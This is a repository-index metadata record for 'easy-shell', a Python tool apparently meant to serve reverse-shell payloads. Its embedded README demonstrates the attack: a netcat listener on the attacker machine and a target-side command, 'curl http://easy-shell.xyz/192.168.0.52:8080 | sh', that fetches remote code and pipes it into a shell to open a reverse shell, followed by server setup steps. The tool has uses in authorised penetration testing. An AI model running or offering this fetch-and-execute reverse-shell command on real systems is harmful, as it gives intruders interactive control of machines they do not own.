{"id":20749459,"url":"https://github.com/cristianzsh/easy-shell","last_synced_at":"2025-04-28T12:52:02.721Z","repository":{"id":130226634,"uuid":"320866499","full_name":"cristianzsh/easy-shell","owner":"cristianzsh","description":"A pure Python script to easily get a reverse shell","archived":false,"fork":false,"pushed_at":"2022-11-28T14:47:47.000Z","size":4,"stargazers_count":51,"open_issues_count":0,"forks_count":5,"subscribers_count":4,"default_branch":"main","last_synced_at":"2025-03-30T09:41:23.362Z","etag":null,"topics":["python","python3","reverse-shell","socket","socketserver","ssl","urllib","webserver"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/cristianzsh.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-12-12T15:51:59.000Z","updated_at":"2024-01-10T20:44:22.000Z","dependencies_parsed_at":"2023-05-04T07:44:50.267Z","dependency_job_id":null,"html_url":"https://github.com/cristianzsh/easy-shell","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cristianzsh%2Feasy-shell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cristianzsh%2Feasy-shell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cristianzsh%2Feasy-shell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cristianzsh%2Feasy-shell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/cristianzsh","download_url":"https://codeload.github.com/cristianzsh/easy-shell/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":251318468,"owners_count":21570361,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["python","python3","reverse-shell","socket","socketserver","ssl","urllib","webserver"],"created_at":"2024-11-17T08:23:06.281Z","updated_at":"2025-04-28T12:52:02.715Z","avatar_url":"https://github.com/cristianzsh.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# easy-shell\n\nA pure Python script to easily get a reverse shell.\n\n### How it works?\n\nAfter sending a request, it generates a payload with different commands available to get a reverse shell (python, perl, awk, and more).\n\n### Example\n\n##### Attacker machine\n```\n$ whoami\nattacker\n\n$ nc -l 8080\nsh-4.4$ whoami\ncentos\nsh-4.4$ pwd\n/home/centos\n```\n\n##### Target machine\n```\n$ whoami\ntarget\n\n$ curl http://easy-shell.xyz/192.168.0.52:8080 | sh\n```\n\n### Running the server\n\nEdit the following lines on ```easy_shell.py``` according to your needs:\n\n```\nPORT = 8080\nDOMAIN = \"http://127.0.0.1:{}\".format(str(PORT))\n\nHTTPS = False\nKEY_FILE = \"keyfile.key\"\nCERT_FILE = \"certfile.cert\"\n```\n\nIf you want to run it over HTTPS, execute the following commands:\n\n```\n$ openssl genrsa 2048 \u003e keyfile.key \u0026\u0026 chmod 400 keyfile.key\n$ openssl req -new -x509 -nodes -sha256 -days 365 -key keyfile.key -out certfile.cert\n```\n\n### Used modules\n\n- [ssl](https://docs.python.org/3/library/ssl.html#module-ssl)\n- [http.server](https://docs.python.org/3/library/http.server.html#module-http.server)\n- [socketserver](https://docs.python.org/3/library/socketserver.html#module-socketserver)\n- [urllib.parse](https://docs.python.org/3/library/urllib.parse.html#module-urllib.parse)\n\n### License\n\nThis project is licensed under the 3-Clause BSD License.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcristianzsh%2Feasy-shell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fcristianzsh%2Feasy-shell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcristianzsh%2Feasy-shell/lists"}